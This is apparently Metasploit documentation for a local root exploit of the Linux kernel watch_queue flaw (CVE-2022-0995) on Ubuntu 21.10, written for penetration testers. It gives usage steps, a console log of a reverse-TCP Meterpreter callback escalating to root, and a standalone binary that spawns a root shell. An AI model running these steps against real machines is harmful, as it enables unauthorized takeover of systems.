## Vulnerable Application

This module exploits a vulnerability in the Linux Kernel's watch_queue event
notification system. It relies on a heap out-of-bounds write in kernel memory.
The exploit may fail on the first attempt so multiple attempts may be needed.
Note that the exploit can potentially cause a denial of service if multiple
failed attempts occur, however this is unlikely.

### Install

The vulnerability exists in linux kernel versions up to 5.17 rc8; this module only contains offsets for Ubuntu 21.10
kernel 5.13.0-37. More offsets may be added later.

Install Ubuntu 21.10
`apt-get install linux-image-5.13.0-37-generic`
Hold shift when you reboot and select the proper kernel version

## Verification Steps

1. Make an Ubuntu target.
1. Create a Meterpreter or shell payload and upload it to the Ubuntu target.
1. Set up a handler for the payload.
1. Launch the payload as a regular user on the Ubuntu target.
1. Do: `use exploit/linux/local/cve_2022_0995_watch_queue`
1. Do: `set payload <payload>`
1. Do: `set lhost <ip>`
1. Do: `set [r|l]port <port>`
1. Do: `run`
1. You should get a new shell as the `root` user.

## Options

### COMPILE

[Auto|True|False] This selects the binary to use. `True` will cause the module to upload the source
code and perform compilation on target, `False` will cause the module to upload a precompiled binary.
`Auto` will cause the module to try compiling the exploit on the target but will fall back to the
precompiled option if a compiler cannot be found.

### DEBUG_SOURCE
[True|False] This selects whether or not the module should use source code with debug prints when
uploading and compiling on disk. If set to `True` the module will use source code with prints
that assist with troubleshooting failed exploits. If set to `False` the module will use source code
without these debug statements/prints. Note if it is not possible to compile the code on the target,
the precompiled binary will be used which has no debug print statements.

### WritableDir
This indicates the location where you would like the payload and exploit binary stored, as well
as serving as a location to store the various files and directories created by the exploit itself.
The default value is `/tmp`

## Scenarios

### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic

```
msf6 payload(linux/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 10.5.135.101:4567
[*] Sending stage (3020772 bytes) to 10.5.134.157
[*] Meterpreter session 1 opened (10.5.135.101:4567 -> 10.5.134.157:34614 ) at 2022-04-12 21:04:39 -0500

msf6 payload(linux/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer     : 10.5.134.157
OS           : Ubuntu 21.10 (Linux 5.13.0-37-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: msfuser
meterpreter > background
[*] Backgrounding session 1...
msf6 payload(linux/x64/meterpreter/reverse_tcp) > use exploit/linux/local/cve_2022_0995_watch_queue
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > show options

Module options (exploit/linux/local/cve_2022_0995_watch_queue):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   COMPILE       Auto             yes       Compile on target (Accepted: Auto, True, False)
   DEBUG_SOURCE  false            no        Use source code with debug prints to help troubleshoot
   SESSION                        yes       The session to run this module on


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.5.135.101     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Ubuntu Linux 5.13.0-37


msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set session 1
session => 1
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > set verbose true
verbose => true
msf6 exploit(linux/local/cve_2022_0995_watch_queue) > run

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_railgun_api
[*] Started reverse TCP handler on 10.5.135.101:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Version array: ["5.13.0", "37", "generic"]
[*] major_version: 5.13.0
[*] minor_version: 37
[+] The target appears to be vulnerable.
[*] Version array: ["5.13.0", "37", "generic"]
[*] major_version: 5.13.0
[*] minor_version: 37
[*] Creating directory /tmp/.nILfP259
[*] /tmp/.nILfP259 created
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.nILfP259/.7BZngDv' (250 bytes) ...
[*] Launching exploit...
[*] Running: /tmp/.nILfP259/.gJKqSJssjC /tmp/.nILfP259/.7BZngDv
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 10.5.134.157
[+] Deleted /tmp/.nILfP259/.gJKqSJssjC
[+] Deleted /tmp/.nILfP259
[*] Meterpreter session 2 opened (10.5.135.101:4444 -> 10.5.134.157:50382 ) at 2022-04-12 21:05:25 -0500
[*]

meterpreter > sysinfo
Computer     : 10.5.134.157
OS           : Ubuntu 21.10 (Linux 5.13.0-37-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter >
```

## Notes

### Included Binaries
The binary used by this exploit `data/exploits/CVE-2022-0995/cve_2021_3493.x64.elf` can be used separately from
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as `root`.

The following snippet shows an example of how one might run this binary with the `/bin/bash` executable to get
a new Bash shell as the `root` user.

```
msfuser@msfuser-virtual-machine:~$ id
uid=1000(msfuser) gid=1000(msfuser) groups=1000(msfuser),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
msfuser@msfuser-virtual-machine:~$ ./cve_2021_3493.x64.elf /bin/bash
root@msfuser-virtual-machine:~$
```
